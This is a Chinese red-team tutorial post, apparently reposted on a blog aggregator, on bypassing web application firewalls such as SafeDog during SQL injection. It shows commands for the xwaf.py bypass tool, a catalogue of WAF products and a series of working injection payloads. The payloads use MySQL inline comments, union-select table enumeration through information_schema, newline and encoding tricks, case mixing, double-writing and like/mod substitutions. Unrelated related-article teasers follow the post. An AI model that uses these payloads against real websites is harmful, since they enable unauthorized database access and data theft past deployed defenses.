红队专题-fuzz技巧

在这里插入图片描述

0x00 知己知彼

技术原理
思路分享
实战效果

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

1.python3 xwaf.py -u “http://www.baidu.com/1.php?id=1”
2.python3 xwaf.py -u “http://www.baidu.com/1.php” --data=“postdata” -p xxx
3.python3 xwaf.py -r /tmp/headerfile -p xxx --risk 3 --level 5
waf自动绕过工具

常见 waf 收集

在这里插入图片描述
http://www.amxecure.com/products-solutions/tactics-policy-services/app-security/167-imperva-securesphere-waf

在这里插入图片描述

SecureSphere (Imperva)

在这里插入图片描述

西数WTS-WAF

在这里插入图片描述

安全狗

在这里插入图片描述

D盾

在这里插入图片描述

腾讯云 waf

在这里插入图片描述

在这里插入图片描述

阿里云云盾Web应用防火墙

在这里插入图片描述

云锁

在这里插入图片描述

UPUPW安全防护

在这里插入图片描述

宝塔网站防火墙

在这里插入图片描述

网防G01

在这里插入图片描述

护卫神

在这里插入图片描述

智创防火墙

在这里插入图片描述

腾讯云

在这里插入图片描述

玄武盾

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

ISG

在这里插入图片描述
在这里插入图片描述

0x01 waf 绕过(过狗)姿势 举例

SQL注入篇

1.内联注释绕过

mysql的语法
有三种注释方法:
--#(单行注释)/* */(多行注释)如果在/*后加惊叹号!意为
/* */里的语句将被执行
eg:  1' and /*!1*/=/*!1*/ #

在这里插入图片描述

 
在mysql中 /*! ....*/ 不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在/*!....*/中,
这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行。
如下语句/*!50001 select * from test */;这里的50001表示
假如 数据库是5.00.01及以上版本,该语句才会被执行。● order by (这里order不拦截by不拦截,但是order后面加by会拦截)
往内联里加
1044010449 13440-13449 14400-14499 15440-15449 16440-16449 17440-17449 18440-18449 等等数字   进行fuzz测试
1'order%20/*!11440%20by*/%201,2#

在这里插入图片描述

 也可以通过1' order/*%%!asd%%%%*/by 3 --+可以成功过狗● union select绕过可以直接加内联
安全狗看重的是关键字,要绕过只需要中间加些干扰就行union%20/*!11440%20select*/%201,2#

在这里插入图片描述

 union select中间需要放两个内联
union%20/!77777cz//!77777cz/%20select%201,2#,发现无法绕过WAF

在这里插入图片描述

 用内联绕过,直接把()放到内联里,或者经过简单的变形
-1'  union /*!77777cz*//*!77777cz*/ select database/*!77777a*/(),2#

在这里插入图片描述

 ● select xxx from xxx (select 任意字符 from 后面跟任意字符等也会拦截),将select table_name和from information_schema.tables单独进行测试,发现都不会被拦截,
但是用select table_name,2 from information_schema.这种组合进行测试时就会被拦截测试select xxx from xxx发现被拦截。
说明select后面跟任意字符再加上from再加上任意字符就会被拦截,
只需要将select放进内联即可绕过查表名:
union  /*!11440select*/  group_concat(table_name),2 from information_schema.tables where table_schema=database/*!77777cz*/()#

在这里插入图片描述


mysql>5.6版本的新特性,
mysql库多了两个新表,innodb_index_stats 和 innodb_table_stats,
这两个表是数据库自动设置的用于记录更改和新创建的数据库和表的信息,
但准确的说是保存最近的数据库变动记录。安全狗没有对这两个关键字进行限制。

2.等价替换法:

union%20/*!11440%20select*/%201,@@version,3#,发现不能绕过

在这里插入图片描述

 boolen等价替换
构造 1' && Ture--+

在这里插入图片描述

3. 换行绕过

 换行符绕过:%23%0a、%2d%2d%0a 
%23 是url编码中的 # (也就是MySQL中的行注释符)
%0A 是url编码中的 换行%23 aaaa -->对应的就是 #aaaa (就相当于把这行给注释掉了) 
而再加上%0a(也就是换行符,后面的语句又能成功执行了)

在这里插入图片描述

4. 空格绕过

空格绕过的结构语句是在注释中间加一些垃圾字符,来干扰安全狗检测

5. 使用大小写

WAF在拼接的时候很可能是按照小写来检测的,这时就可以使用大小写互补来绕过检测

6. 双写替换

http://www.***.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
用于一些会把union select替换掉的WAF,经过WAF过滤后就会变成 union select 1,2,3,4…

7. 编码和相似语法结合绕过

在这里插入图片描述

 BurpSuite中将and&&)进行编码,后得到

在这里插入图片描述

 等于号可以用 in 或like 进行代替,
1=1可以变为1 in 11 like 11 in 21 like 2,再变通一下,此语句还可以变为-1 in -1-1 like -2,经过实验发现 -1 like -2能够成功绕过安全狗

在这里插入图片描述

8. 取余函数mod()绕过

WAF是不能够在这里写算法检测求余
再者,大量的数据访问,也不利于写算法来检测,所以可以构造语句来绕过。
id=1 or mod(6,5) in (1)

在这里插入图片描述
有注入的地方执行一个单引号,WAF是不拦截的

在这里插入图片描述

有些函数在调用的时候,或者变量,参数,字符串等等时常需要做拼接的时候,
需要用到单引号来实现拼接的功能

所以WAF默认没有将单引号加入检测规则。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/205719.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

血的教训--kail系统免密centos7的坑【高版本ssh免密低版本ssh的坑】

血的教训–kail系统免密centos7的坑【高版本ssh免密低版本ssh的坑】 最近下载了一个2023版本的kail系统,但是经过几次设置免密后,ssh过去一直让提供密码,所以就仔细的分析了一下,果然还是发现了点猫腻 接上一个博客,大…

本地MinIO存储服务通过Java程序结合Cpolar内网穿透进行远程访问

[本地MinIO存储服务通过Java程序结合Cpolar内网穿透进行远程访问] 前言 MinIO是一款高性能、分布式的对象存储系统,它可以100%的运行在标准硬件上,即X86等低成本机器也能够很好的运行MinIO。它的优点包括高性能、高可用性、易于部署和管理、支持多租户…

如何在代码中启动与关闭ROS节点

在ROS开发中,节点的管理是很重要的一部分,其中有一些节点大部分时候用不到,只会在特定情况下被启动(比如建图节点)同时这些节点在使用完后还需要被关闭,因此我们就需要在程序中对这些节点进行启动与关闭的管…

OpenMMlab导出FCN模型并用onnxruntime推理

导出onnx文件 直接使用脚本 import torch from mmseg.apis init_modelconfig_file configs/fcn/fcn_r18-d8_4xb2-80k_cityscapes-512x1024.py checkpoint_file fcn_r18-d8_512x1024_80k_cityscapes_20201225_021327-6c50f8b4.pth model init_model(config_file, checkpoin…

pgsql 更新A表的x字段通过查询b表的z字段

查询表t_local_warning_hit_source的send_time 更新到表t_local_warning_source WITH t2 AS ( SELECT ID, send_time FROM t_local_warning_hit_source WHERE send_time > 2023-09-27 00:00:00 AND send_time < 2023-11-28 00:00:00 ) UPDATE t_local_warning_source t…

【通讯协议】REST API vs GraphQL

在API设计方面&#xff0c;REST和GraphQL各有缺点。下图显示了 REST 和 GraphQL 之间的快速比较。 REST 使用标准 HTTP 方法&#xff08;如 GET、POST、PUT、DELETE&#xff09;进行 CRUD 操作。当您需要在单独的服务/应用程序之间提供简单、统一的接口时&#xff0c;效果很好…

Spring框架学习 -- Bean的生命周期和作用域

目录 前言 案例 案例分析 作用域的定义 Bean对象的6种作用域 Singleton prototype 设置作用域 ​编辑延迟初始化 Spring的执行流程 Bean的生命周期 前言 我们可以类比一下普通变量的生命周期和作用域, 大多数变量的生命周期和作用域都被限定在了花括号内 {}, 除…

每日一题:LeetCode-283. 移动零

每日一题系列&#xff08;day 08&#xff09; 前言&#xff1a; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f50e…

相机标定张正友、opencv和halcon对比(1)

本文将从基本标定开始&#xff0c;结合实际工作经验&#xff0c;分析张正友、opencv和halcon三者相机标定的深层原理与不同之处&#xff0c;内容比较多&#xff0c;如果出现错误请指正。 相机光学模型 我们使用的镜头都是由多组镜片组成&#xff0c;它实际上是一种厚透镜模型…

Linux socket编程(8):shutdown和close的区别详解及例子

在Linux中有两种操作可以终止socket间的进程通信&#xff1a;close和shutdown。但这两种函数在使用时有着不同的行为和效果。在网络编程中&#xff0c;正确地选择和使用这些操作至关重要&#xff0c;因为它们直接影响着通信的结束和资源的释放。本文将介绍close和shutdown函数&…

Alignment of HMM, CTC and RNN-T,对齐方式详解——语音信号处理学习(三)(选修二)

参考文献&#xff1a; Speech Recognition (option) - Alignment of HMM, CTC and RNN-T哔哩哔哩bilibili 2020 年 3月 新番 李宏毅 人类语言处理 独家笔记 Alignment - 7 - 知乎 (zhihu.com) 本次省略所有引用论文 目录 一、E2E 模型和 CTC、RNN-T 的区别 E2E 模型的思路 C…

mongodb基本操作命令

mongodb快速搭建及使用 1.mongodb安装1.1 docker安装启动mongodb 2.mongo shell常用命令2.1 插入文档2.1.1 插入单个文档2.1.2 插入多个文档2.1.3 用脚本批量插入 2.2 查询文档2.2.1 排序查询2.2.1 分页查询 前言&#xff1a;本篇默认你是对nongodb的基础概念有了了解&#xff…

正则表达式【C#】

1作用&#xff1a; 1文本匹配&#xff08;验证字符串&#xff09; 2查找字符串 2符号&#xff1a; . ^ $ * - ? ( ) [ ] { } \ | [0-9] 匹配出数字 3语法格式&#xff1a; / 表示模式 / 修饰符 /[0-9]/g 表示模式&#xff1a;是指匹配条件&#xff0c;要写在2个斜…

【LabVIEW学习】3.labview制作安装程序

一。生成exe文件 1.创建可执行文件 &#xff08;1&#xff09;创建项目 注意&#xff1a; 1.创建.exe文件&#xff0c;这个文件在labview环境下才可以运行&#xff0c;如果直接传递给其他电脑&#xff08;没有labview环境&#xff09;&#xff0c;他是不可以运行的。 2.如果已…

Redis-Redis 高级数据结构 HyperLogLog与事务

Redis 高级数据结构 HyperLogLog HyperLogLog(Hyper [ˈhaɪpə(r)] ) 并不是一种新的数据结构 ( 实际类型为字符串类 型) &#xff0c;而是一种基数算法 , 通过 HyperLogLog 可以利用极小的内存空间完成独立总数的统计&#xff0c;数据集可以是 IP 、 Email 、 ID 等。 如…

最大熵模型

1. 最大熵原理 学习概率模型时&#xff0c;在所有可能的概率模型(分布)中&#xff0c;熵最大的模型是最好的模型。 假设离散随机变量X的概率分布是P(X)&#xff0c;则其熵为 且满足0<H(P)<logN 当且仅当X的分布是均匀分布时右边的等号成立&#xff0c;即当X服从均匀分布…

48、Flink DataStream API 编程指南(1)- DataStream 入门示例

Flink 系列文章 1、Flink 部署、概念介绍、source、transformation、sink使用示例、四大基石介绍和示例等系列综合文章链接 13、Flink 的table api与sql的基本概念、通用api介绍及入门示例 14、Flink 的table api与sql之数据类型: 内置数据类型以及它们的属性 15、Flink 的ta…

新材料制造ERP用哪个好?企业应当如何挑选适用的

有些新材料存在特殊性&#xff0c;并且在制造过程中对车间、设备、工艺、人员等方面提出更高的要求。还有些新材料加工流程复杂&#xff0c;涉及多种材料的请购、出入库、使用和管理等环节&#xff0c;解决各个业务环节无缝衔接问题是很多制造企业面临的管理难题。 新材料制造…

CSS3样式详解之圆角、阴影及变形

目录 前言一、圆角样式&#xff08;border-radius&#xff09;二、元素阴影&#xff08;box-shadow&#xff09;三、过渡动画样式&#xff08;transition&#xff09;1. transition-property(用于设置属性名称)2. transition-duration&#xff08;设置时间&#xff09;3. trans…

unity UI特效遮罩

using System.Collections; using System.Collections.Generic; using UnityEngine;/**UI特效遮罩 1.需要将ScrollRect 的遮罩Mask 换为 2D Mask2.将特效的Render里面的 Masking 设置为*/ public class UIParticleMaskControll : MonoBehaviour {// Start is called before …